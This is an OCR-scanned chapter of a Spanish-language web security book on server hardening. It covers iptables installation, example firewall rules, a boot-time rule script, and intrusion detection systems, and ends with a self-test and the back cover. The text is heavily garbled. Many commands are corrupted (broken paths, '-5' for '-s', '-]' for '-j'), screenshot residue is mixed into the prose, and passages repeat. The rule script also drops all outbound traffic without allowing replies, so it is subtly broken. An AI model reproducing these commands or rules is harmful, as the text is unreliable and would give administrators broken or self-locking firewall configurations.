cd /shin mv iptables iptahles.hak
myv iptables-restore iptahles-restore.hak
myv iptables-save iptables-save.bak.

\&/ : TE RESULTA UTIL?

Lo que &stas Ieyendu es el fruto del trabajo de cientos de personas que ponen todo de si para lograr un mejor

producto. Utilizar versiones "pirata” desalienta la inversion y da lugar a publicaciones de menor calidad.
NO ATENTES CONTRA LA LECTURA. NO ATENTES CONTRA Ti. COMPRA SOLO PRODUCTOS ORIGINALES.

Nuestras publicaciones se comercializan en kioscos o puestos de voceadores; librerias; locales cerrados; supermercados e internet
(usershop.redusers.com). Si tienes alguna duda, comentario o quieres saber mas, puedes contactarnos por medio de usershop@redusers.com
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Vinculamos las nuevas rutas:

In -s /ust/local/shin/iptables iptables
In -s /usr/local/shin/iptables-restore iptahles-restore
In -s /ust/local/shin/iptables-save iptables-save.

EheyPus-shey:/ P P
lsheyBus-shey: /S sudo In -s susrslocalssbinsiptables-restore iptables-restore

lshey@us-shey:/$ sudo In -s ~usrslocalssbinsiptables—save iptables-save
sheyBus-shey: /9 _

Figura 17. Al concluir tenemos la ultima version
disponible de iptables en funcionamiento.

Podemos comprobar que la iltima versiéon de iptables esta
fucionando con un simple comando: iptables -V, que nos informara
la version del firewall que esta corriendo nuestro sistema operativo.
Para ver la ayuda ejecutaremos iptables --help.

De acuerdo con las reglas que definamos manualmente, el firewall
permitira o denegara los paquetes que entran y salen del sistema.
Por ejemplo, una regla puede indicar que Gnicamente se le permite
al equipo con IP 192.168.0.103 acceder por el puerto 22 al servidor,
de modo tal que todas las maquinas con diferente direccién IP que
intenten conectarse al puerto 22 del servidor sean rechazadas.

Los comandos y parametros basicos de iptables son:

e -A: Aiade reglas (INPUT, OUTPUT o FORWARD).

e -F: Elimina reglas.
e -L: Muestra todas las reglas.
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la version del firewall que esta corriendo nuestro sistema operativo.
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permitira o denegara los paquetes que entran y salen del sistema.
Por ejemplo, una regla puede indicar que Gnicamente se le permite
al equipo con IP 192.168.0.103 acceder por el puerto 22 al servidor,
de modo tal que todas las maquinas con diferente direccién IP que
intenten conectarse al puerto 22 del servidor sean rechazadas.

Los comandos y parametros basicos de iptables son:

e -A: Aiade reglas (INPUT, OUTPUT o FORWARD).
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e -j: Define qué hacer con el paquete (ACCEPT, DROP o REJECT).
e .s: Indica la IP de la maquina origen de un paquete.

e -d: Indica la IP de la maquina destino de un paquete.

e -i: Indica el nombre de la interfaz de red.

e -p: Indica el protocolo IP del paquete.

Para las reglas sobre protocolos TCP y UDP hay otros dos parametros:

e -sport: Indica el puerto origen del paquete.
e .dport: Indica el puerto destino del paquete.

Las reglas INPUT definen qué hacer con las conexiones entrantes,
y OUTPUT, cOmo actuar ante salientes. Las reglas FORWARD aplican para
las conexiones que se reenvien.

Las posibles acciones son:

e ACCEPT: Aceptar paquetes.
e DROP: Eliminar paquetes.
e REJECT: Responder al origen que el paquete que envia no puede pasar.

EheyBus-shey: S sudo iptables -U
iptables v1.4.19.1
lsheyBus-shey: ™ sudo iptables -L
“hain INPUT (policy ACCEPT)
arget prot opt source destination

hain FORWARD (policy ACCEPT)
arget prot opt source destination

hain OUTPUT (policy ACCEFT)

arget prot opt source destination
lshey@us-shey: ™5
jsheyBus-shey: ™5 _

Figura 18. Firewall iptables en funcionamiento
dentro de nuestro servidor Linux.

Antes de crear reglas, podemos definir las politicas por defecto para
iptables. Si un paquete no cumple con ninguna de las reglas definidas
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manualmente, se utilizaran las politicas por defecto. Una buena
eleccion seria definirlas de la siguiente manera:

#Politicas por defecto.
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

De este modo, todos los paquetes (INPUT, OUTPUT v FORWARD)
que no cumplan con las reglas definidas seran eliminados.

Para crear una regla que rechace absolutamente todas las conexiones
entrantes al sistema, la sintaxis seria la siguiente: iptables -A INPUT —j
DROP. Para permitir todas las conexiones salientes, seria: iptables -A
OUTPUT -j ACCEPT.

Lo cierto es que aplicar solo estas dos reglas sirve de poco. En las
proximas secciones aprenderemos a crear reglas realmente utiles. Si
bien cada sistema o servidor tiene sus propias necesidades, que hay
que adaptar segun el caso, aprenderemos todo lo necesario para saber
elaborar las reglas precisas en cada situacion que se presente.

Reglas utiles

El orden de las reglas es importante. Si un paquete no cumple la
primera pasara a la siguiente, y asi sucesivamente, hasta encontrar
una que cumpla con el criterio definido o llegar a la Gltima.

La primera regla que podemos definir, si se trata de un servidor web,
es permitir las conexiones entrantes por el puerto 80:

#Definimos que el puerto 80 (TCP) acepta conexiones.
iptables -A INPUT -p tcp --dport 80 -j ACCEPT

En algunas oportunidades, puede ocurrir que administremos el
servidor mediante SSH desde otro equipo de la intranet.

El primer paso sera fijarnos qué direccién IP tiene la maquina
que necesita el acceso al servidor (por ejemplo, 192.168.0.102).
Luego creamos una regla que permita conexiones entrantes, por
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el puerto que escojamos, inicamente a la IP autorizada. Segun el
servicio que utilicemos para realzar la conexion, aplicaremos la regla
correspondiente; en el caso de SSH, seria:

#Permitimos a la IP 192.168.0.102 conectarse al servidor por SSH.
iptables -A INPUT -s 192.168.0.102 -p tcp --dport 22 -j ACCEPT

Del mismo modo, podemos definir una regla que permita a un FTP
con diferente IP (como 192.168.0.105) conectarse al servidor para subir
o bajar archivos:

#Permitimos a un FTP con IP 192.168.0.105 conectarse al servidor.
iptables -A INPUT -5 192.168.0.105 -p tcp --dport 21 -j ACCEPT

Bien puede suceder también que las maquinas autorizadas a acceder
al servidor se encuentren fuera de la red local.

En ese caso, podemos definir reglas que acepten paquetes desde una
determinada IP publica (por ejemplo, 235.34.104.11).

#Permitimos a la IP 235.34.104.11 conectarse al servidor por el puerto 3306.
iptables -A INPUT -s 235.34.104.11 -p tcp --dport 3306 - ACCEPT

Luego de definir qué maquinas pueden acceder al servidor y
mediante qué puertos, afladimos dos reglas para denegar todas las
demas conexiones entrantes por TCP y UDP:

#Rechazamos todas las demas conexiones entrantes por TCP y UDP.
iptables -A INPUT -p tcp --dport 1:65535 -j DROP
iptables -A INPUT -p udp --dport 1:65535 -j DROP

Es importante no olvidar definir estas dos reglas al final, ya que
de encontrarse al principio ninguna maquina —ni siquiera la que esta
autorizada- podria enviar paquetes al servidor.
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Eheyus-shey: ptables N ——dport B0 -]

1
lsheyBus—-shey: ™9 iptables .168.0.102 -p tcp —dport 22 —j
T

S iptables .168.0.102 -p tcp —dport 23 -
> iptables .168.0.105 -p tcp —-dport 21 -j
1”9 sudo iptables .34.104.11 —p tcp —dport 3306

:”§ sudo iptables tcp ——dport 1:65535 - j DROP

:”$ sudo iptables udp --dport 1:65535 -j DROP

:”$ sudo iptables

hain INPUT (policy ACCEPT)

prot opt source destination
tcp —— anywhere anywhere dpt:http
tcp 192.168.0.102 anywhere dpt :ssh
tcp 192.168.0.102 anyvhere dpt:telnet
tcp 192.168.0.105 anywhere dpt:ftp
tcp 235.34.104.11 anywhere dpt :mysql
tep anyuwhere anyuhere dpts:tcpmu

udp anyuhere anyvhere dpts:1:655

hain FORWARD (policy ACCEPT)

Figura 19. Definimos reglas Utiles para el firewall iptables.

Inicio automatico

Es importante saber que las reglas de iptables no se almacenan en
ningun archivo, sino que se guardan en la memoria. Si el servidor se
reinicia, perderemos todas las reglas que hemos definido. Volver a
escribirlas de nuevo cada vez que reiniciemos seria demasiado tedioso.
Para evitarlo, podemos crear un script bash con todas nuestras reglas
e indicarle al servidor que debe ejecutarlo cada vez que se inicia.

A continuacién mostraremos una manera de hacerlo.
Creamos un script bash con las reglas para iptables, por ejemplo:

#!/bin/bash

#Politicas por defecto.
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

#Definimos que el puerto 80 (TCP) acepta conexiones.
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
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#Permitimos a la IP 192.168.0.102 conectarse al servidor por SSH.
iptables -A INPUT -s 192.168.0.102 -p tcp --dport 22 -j ACCEPT

#Permitimos a un FTP con IP 192.168.0.105 conectarse al servidor.
iptables -A INPUT -s 192.168.0.105 -p tcp --dport 21 -j ACCEPT

#Permitimos a la IP 235.34.104.11 conectarse al servidor por el puerto 3306.
iptables -A INPUT -s 235.34.104.11 -p tcp --dport 3306 -j ACCEPT

#Rechazamos todas las demas conexiones entrantes por TCP y UDP.
iptables -A INPUT -p tcp --dport 1:65535 -] DROP
iptables -A INPUT -p udp —dport 1:65535 -j DROP

Lo guardamos dentro del directorio /etc/init.d, bajo el nombre
que queramos (por ejemplo, iptahles-reglas), y le damos permisos de
ejecucion: chmod 750 /etc/init.d/iptables-reglas. Por Gltimo, indicamos al
sistema operativo que lo ejecute cada vez que se inicia: update-rc.d
iptables-reglas defaults.

Sistemas de deteccion
de intrusos

Una excelente medida de seguridad es implementar un IDS (Intrusion
Detection System), para detectar un posible ataque al sistema y alertar
al administrador mediante un mail o0 mensaje de texto. Para realizar la
deteccion utiliza diversas técnicas, entre ellas, el reconocimiento de
firmas: similar al antivirus, posee una base de datos con firmas que
identifican comportamientos tipicos de un ataque v, al identificarse
uno o mas de estos patrones, se dispara la alerta.

Otra técnica utilizada para detectar un ataque consiste en analizar la
informacién del sistema monitoreado en busca de anomalias, y alertar
al administrador en caso de hallarlas. Las demas técnicas dependeran
de como trabaje el IDS, ya que existen dos clases: HIDS (Host IDS)

y NIDS (Network IDS), de host y red respectivamente.
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Cabe aclarar que un IDS no es capaz de detener un ataque por si solo,
por lo cual suele estar integrado con un firewall. De este modo se logra
unir la capacidad de bloqueo de los firewalls con la inteligencia del IDS.

Deteccion a nivel host

Los HIDS trabajan en forma local y monitorean el sistema
operativo en busca de anomalias que indiquen un posible ataque.
Pueden analizar el contenido de la memoria RAM, eventos y logs,
cambios realizados sobre archivos importantes del sistema, intentos
de acceso a la base de datos de usuarios y contrasefias, entre otras
acciones. Algunas aplicaciones de este tipo son: OSSEC (Open Source
SECurity), AIDE (Advanced Intrusion Detection Environment), Osiris
y LIDS (Linux IDS).

Deteccion a nivel red

Los NIDS monitorean la red en tiempo real con el objetivo de
identificar un posible ataque. Ademas del reconocimiento de firmas y la
evaluacion general del comportamiento de la red, analizan los paquetes
TCP/IP con contenido extraio o evidentemente creado para otro fin, lo
cual podria indicar una actividad previa al ataque (que podria tratarse,
por ejemplo, de un escaneo de puertos).

Dependiendo del lugar de la red donde estén ubicados, los NIDS
bien configurados analizan el trafico entrante, saliente y local, siendo
capaces de detectar una gran variedad de ataques (como por ejemplo,
intentos de denegacion de servicio DoS/DDoS e intrusiones al sistema).

444

Este capitulo es de suma importancia para la proteccion de nuestros servidores. Aprendimos diversas téc-
nicas de hardening, empezando por eliminar riesgos que pueden producirse al utilizar el lenguaje PHP.
Instalamos un sistema de proteccion avanzado, Suhosin, y un firewall de aplicaciones web, Mod_Security.
Para complementar alin mas estas medidas de proteccion aprendimos a instalar los cortafuegos iptables y a
crear reglas de utilidad. Por dltimo, conocimos el funcionamiento de los sistemas de deteccion de intrusos.
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Actividades

TEST DE AUTOEVALUACION

1 :Cudles son las medidas de proteccion basicas para un servidor web?
2 (Qué funciones PHP deberiamos deshabilitar?

3 ;Qué vulnerabilidad podemos evitar si asignamos un valor a la directiva
open_hasedir en php.ini?

4 ;Por qué es importante que eliminemos los archivos temporales?
B ;Para qué sirve Suhosin?

6 (Cuél es la diferencia entre un firewall tradicional y un firewall de aplicaciones
web?

EJERCICIOS PRACTICOS

1 Edite el archivo php.ini de su servidor web y deshabilite las funciones PHP
que puedan envolver algun peligro.

2 Limite el directorio de trabajo de PHP, indicandolo mediante la directiva
open_hasedir en el archivo php.ini.

3 Instale Suhosin en su servidor web.
4 Instale el WAF Mod_Security en su instalacion de Apache.

5 Implemente un IDS (Intrusion Detection System) para detectar un posible ata-
que al sistema.

PROFESOR EN LiNEA

Sitiene alguna consulta técnica relacionada con el contenido, puede contactarse
con nuestros expertos: profesor@redusers.com
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Esta obra brinda al lector la posibilidad de ubicarse en la mente de los hackers, para asi conocer en profundidad sus técnicas.

Los capitulos de este libro analizan las fallas de seguridad mds frecuentes en aplicaciones web y cémo aprovechan los hackers las
vulnerabilidades dentro del cédigo. Se detallan los protocolos utilizados (HTTP y DNS) y se explica como llevar a cabo ataques del lado
del cliente y manipular formularios. También se exponen los métodos usados para obtener el control total de un servidor web y realizar
ataques a los gestores de bases de datos mas importantes (como MySQL, Oracle Database y PostgreSQL).

El lector podra desarrollar cddigos con las protecciones adecuadas e implementar medidas de seguridad en el interior de un servidor web.

‘ Para defenderse es necesario saber atacar. Identificar
fallas en un codigo permite analizar como pueden ser ,,
explotadas por un atacante y evaluar soluciones.

% EN ESTE LIBRO APRENDERA:

} Introduccidn a la seguridad informatica: identificacion de atacantes. Instalacién
de un servidor y aplicacion de medidas bésicas de proteccion.

} Servidores DNS y protocolo HTTP: instalacién de DNS Bind9 y obtencion de
informacion mediante consultas a los registros. Instalacion de un servidor HTTP

s
y uso de NetCat. b W

> Cross-Site Attack y ataques del lado del cliente: evasion de filtros de datos y B8 :SIUBH LB CIACHD O 25
. L e . Se especializa en anélisis de
programacion de una aplicacién segura. Modificacion de formularios para ver

. . . . malware y seguridad web. Ha
campos ocultos y eliminar limites. Envenenamiento de cookies.

encontrado fallas en impor-
tantes aplicaciones, trabaja
como instructora de seguridad
informética y es programadora
en G/C++, Python y PHP, entre
otros lenguajes.

} Inclusidn de archivos y ejecucion remota: biisqueda de vulnerabilidades que
permitan incluir archivos locales y remotos para tomar control del servidor web.

} Revelacion de informacion y seguridad en el servidor: malas précticas de confi-
guracion. Hardening e instalacién de un firewall. Reglas para iptables y sistemas
de deteccidn de intrusos.
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